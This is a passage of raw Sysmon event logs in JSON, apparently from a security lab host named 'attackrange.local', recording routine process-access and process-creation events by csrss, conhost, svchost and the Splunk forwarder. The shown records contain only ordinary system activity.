11:49:57.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","TargetProcessId":"3756","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1553,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1554,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.168\r\nProcessGuid: {90617006-3FE5-5F2D-0000-0010ACC90200}\r\nProcessId: 3788\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.168","ProcessGuid":"{90617006-3FE5-5F2D-0000-0010ACC90200}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1555,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 3752\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010ACC90200}\r\nTargetProcessId: 3788\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7d48|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"3752","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010ACC90200}","TargetProcessId":"3788","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+edcb8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7d48|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1556,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010ACC90200}\r\nTargetProcessId: 3788\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010ACC90200}","TargetProcessId":"3788","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1557,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1558,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1559,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1560,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1561,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.156\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.156","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\